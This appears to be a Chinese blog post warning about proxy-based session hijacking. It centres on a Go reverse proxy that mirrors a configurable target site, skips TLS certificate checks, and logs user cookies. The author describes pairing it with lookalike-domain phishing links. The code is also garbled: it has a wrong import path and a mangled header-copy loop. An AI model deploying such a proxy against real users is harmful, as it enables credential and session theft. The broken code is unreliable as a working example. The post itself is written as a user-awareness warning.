proxy
proxy,既是代理服务器,在网络环境中,两台机器无法直接相连,如google,facebook等,在国内环境中无法直接访问,为了使用google和facebook,则需要FQ,跨过长城防火墙。在FQ过程中,一个重要的环节,就是proxy了。经常听到有人说通过代理上网,现在就来揭示一下proxy的过程,看完这个后,我猜,以后大家用代理服务器,都会更加的谨慎了,不会再盲目的觉得什么东西好,什么东西不好。
简单的http转发模式
客户端A想要访问目标服务器B,但是由于某些限制,A在通往B的过程中,由于是走的官道,被道路检查小队给逮住了,直接就地正法了。那么A就无法再官道中走到B。现在有一条小路Proxy,A在Proxy的小路上,一路坎坷,东躲西藏的来到了B,这样A和B就联系上了。在这个环节中,Proxy就获取了A和B互相联系的信息。那么问题就来了。如果Proxy是一个邪恶的摆渡者,那么对于A来说,将会是致命的打击。
session劫持
经常听过一些人说,我在输入密码的时候,又没有人看见,怎么我的密码就被别人知道了。有些时候,并不是密码泄露了,而是登录后session被他人获取,这样他人就可以直接使用你的账号登录到系统中,即使他不知道你的密码,是不是很可怕?
proxy示例代码
package main
import (
"crypto/tls"
"flag"
"fmt"
"io/IoUtil"
"net/http"
"net/http/cookiejar"
"strings"
)
var (
Target = flag.String("target","https://www.asofdate.com","target server")
Protocol = flag.String("protocol","https","http or https protocol")
)
func sliceToString(str []string) string {
result := ""
for _,val := range str {
result += val + " "
}
result = strings.TrimSpace(result)
return result
}
func NewReq(sr *http.Request) (*http.Request,error) {
sr.ParseForm()
url := *Target + sr.RequestURI
req,_ := http.NewRequest(sr.Method,url,strings.NewReader(sr.Form.Encode()))
req.Form = sr.Form
req.Header = sr.Header
req.TLS = sr.TLS
req.TransferEncoding = sr.TransferEncoding
req.Trailer = sr.Trailer
return req,nil
}
func main() {
flag.Parse()
tr := &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},DisableCompression: true,}
client := http.Client{Transport: tr}
client.Jar,_ = cookiejar.New(nil)
client2 := http.Client{}
client2.Jar,_ = cookiejar.New(nil)
http.HandleFunc("/",func(w http.ResponseWriter,r *http.Request) {
r.ParseForm()
protocol := *Protocol
switch protocol {
case "https":
req,err := NewReq(r)
if err != nil {
fmt.Println(err)
return
}
resp,err := client.Do(req)
if err != nil {
fmt.Println("do error:",err)
return
}
b,err := IoUtil.ReadAll(resp.Body)
if err != nil {
fmt.Println("read error:",err)
}
// it is very import
// if didn't set header,
// custom brower will complex.
for key,val := range resp.Header {
w.Header().Set(key,sliceToString(val))
}
fmt.Println(client.Jar.Cookies(req.URL),resp.StatusCode,resp.Status)
w.Write(b)
case "http":
req,err := NewReq(r)
if err != nil {
fmt.Println(err)
}
resp,err := client2.Do(req)
if err != nil {
fmt.Println(err)
return
}
b,err := IoUtil.ReadAll(resp.Body)
if err != nil {
fmt.Println(err)
}
for key,sliceToString(val))
}
w.Write(b)
}
})
http.ListenAndServe(":8088",nil)
}
当proxy服务启动后,你登录到proxy服务器,看到的内容和proxy转发目标服务器内容一模一样。这样很容易引起误导。以前经常有短消息,告诉你登录某个网站,零取礼物,网站地址就和某某银行,或者某些电商网站地址差一个字母或数字,很误导人。当你登录后,你的cookies就被proxy劫持住,这样,不怀好意的人,就可以利用这个已经连接的用户做一些恶心的事情。设想一下,你在FQ的过程中,输入了某某网站的用户名和密码,就算你加密了,也无济于事。尤其是,当你在很多地方都用一个用户名和密码的时候,是不是更危险。所以,看到诱惑的时候,看清楚,是不是真实有效的,看到好的代理的时候,不要盲目的说好,不知不觉,说不定,你的信息就泄露了。
上述实例代码中,将Target和Protocol改成对应网站的地址,就可以通过proxy访问目标服务器,这段代码记录了用户的cookies信息。一旦登录,将会造成用户信息泄露。当然,也不必过于担心,银行,电商等等线上有几重校验信息,这种低级的代理是不会对他们的系统造成影响。但是对于一些安全防范比较差的系统,就一击必中。
总结
任何事物,都有好,有坏,不盲从,亦不偏激。在合适的场合下,选择合适的方式。